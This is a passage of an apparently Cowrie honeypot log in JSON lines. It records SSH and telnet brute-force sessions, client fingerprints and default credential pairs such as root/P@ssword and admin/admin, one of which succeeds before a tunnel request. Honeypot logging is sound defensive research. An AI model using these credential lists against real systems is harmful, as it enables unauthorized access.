{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":59558,"dst_ip":"159.203.135.109","dst_port":23,"session":"856979a3bea3","protocol":"telnet","message":"New connection: 69.4.83.194:59558 (159.203.135.109:23) [session: 856979a3bea3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:15.898709Z"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:17.612082Z","src_ip":"95.38.165.118","session":"85addee613b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":50810,"dst_ip":"10.17.0.5","dst_port":22,"session":"7feb7f73c18c","protocol":"ssh","message":"New connection: 95.38.165.118:50810 (10.17.0.5:22) [session: 7feb7f73c18c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:18.678471Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:18.683591Z","src_ip":"95.38.165.118","session":"7feb7f73c18c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:18.855448Z","src_ip":"95.38.165.118","session":"7feb7f73c18c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"almalinux","password":"almalinux","message":"login attempt [almalinux/almalinux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:19.368065Z","src_ip":"95.38.165.118","session":"7feb7f73c18c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":54410,"dst_ip":"10.17.0.5","dst_port":23,"session":"167fb97ce965","protocol":"telnet","message":"New connection: 178.128.93.180:54410 (10.17.0.5:23) [session: 167fb97ce965]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:20.051696Z"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:22.201136Z","src_ip":"95.38.165.118","session":"7feb7f73c18c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.6029634475708,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:22.985406Z","src_ip":"69.4.83.194","session":"d469bc3eaf52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":50820,"dst_ip":"10.17.0.5","dst_port":22,"session":"64f9fdbc2b29","protocol":"ssh","message":"New connection: 95.38.165.118:50820 (10.17.0.5:22) [session: 64f9fdbc2b29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:23.605874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:23.610674Z","src_ip":"95.38.165.118","session":"64f9fdbc2b29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:23.783801Z","src_ip":"95.38.165.118","session":"64f9fdbc2b29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab","password":"gitlab","message":"login attempt [gitlab/gitlab] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:24.641242Z","src_ip":"95.38.165.118","session":"64f9fdbc2b29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:25.817449Z","src_ip":"95.38.165.118","session":"64f9fdbc2b29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":27436,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3b332314c1c","protocol":"ssh","message":"New connection: 87.251.64.176:27436 (10.17.0.5:22) [session: e3b332314c1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:27.226492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:27.233027Z","src_ip":"87.251.64.176","session":"e3b332314c1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:27.331649Z","src_ip":"87.251.64.176","session":"e3b332314c1c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:27.712108Z","src_ip":"87.251.64.176","session":"e3b332314c1c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:27.810133Z","session":"e3b332314c1c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:27.906939Z","src_ip":"87.251.64.176","session":"e3b332314c1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:28.005690Z","src_ip":"87.251.64.176","session":"e3b332314c1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":34792,"dst_ip":"10.17.0.5","dst_port":22,"session":"fddd7fcde3ce","protocol":"ssh","message":"New connection: 95.38.165.118:34792 (10.17.0.5:22) [session: fddd7fcde3ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:28.490168Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:28.906532Z","src_ip":"95.38.165.118","session":"fddd7fcde3ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:28.910806Z","src_ip":"95.38.165.118","session":"fddd7fcde3ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.41334581375122,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:29.073553Z","src_ip":"69.4.83.194","session":"751d31d7010c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssword","message":"login attempt [root/P@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:30.308193Z","src_ip":"95.38.165.118","session":"fddd7fcde3ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:31.470516Z","src_ip":"95.38.165.118","session":"fddd7fcde3ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":34796,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f97d1ff73ed","protocol":"ssh","message":"New connection: 95.38.165.118:34796 (10.17.0.5:22) [session: 9f97d1ff73ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:33.863223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:33.867887Z","src_ip":"95.38.165.118","session":"9f97d1ff73ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:34.032910Z","src_ip":"95.38.165.118","session":"9f97d1ff73ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy@123","message":"login attempt [deploy/deploy@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:36.004956Z","src_ip":"95.38.165.118","session":"9f97d1ff73ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":39774,"dst_ip":"10.17.0.5","dst_port":22,"session":"95d77d397e04","protocol":"ssh","message":"New connection: 95.38.165.118:39774 (10.17.0.5:22) [session: 95d77d397e04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:39.025720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:39.030738Z","src_ip":"95.38.165.118","session":"95d77d397e04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.47528314590454,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:39.128454Z","src_ip":"69.4.83.194","session":"cc48a2a86561","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:39.187800Z","src_ip":"95.38.165.118","session":"95d77d397e04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:39.228794Z","src_ip":"95.38.165.118","session":"9f97d1ff73ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"factorio","password":"factorio","message":"login attempt [factorio/factorio] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:39.679639Z","src_ip":"95.38.165.118","session":"95d77d397e04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:40.840204Z","src_ip":"95.38.165.118","session":"95d77d397e04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":39782,"dst_ip":"10.17.0.5","dst_port":22,"session":"db719f40edab","protocol":"ssh","message":"New connection: 95.38.165.118:39782 (10.17.0.5:22) [session: db719f40edab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:43.945386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:43.950197Z","src_ip":"95.38.165.118","session":"db719f40edab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:44.140432Z","src_ip":"95.38.165.118","session":"db719f40edab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"123456","message":"login attempt [devops/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:44.872215Z","src_ip":"95.38.165.118","session":"db719f40edab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:46.039498Z","src_ip":"95.38.165.118","session":"db719f40edab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":53120,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b304d44eeb1","protocol":"ssh","message":"New connection: 95.38.165.118:53120 (10.17.0.5:22) [session: 0b304d44eeb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:49.076682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:49.448287Z","src_ip":"95.38.165.118","session":"0b304d44eeb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@opens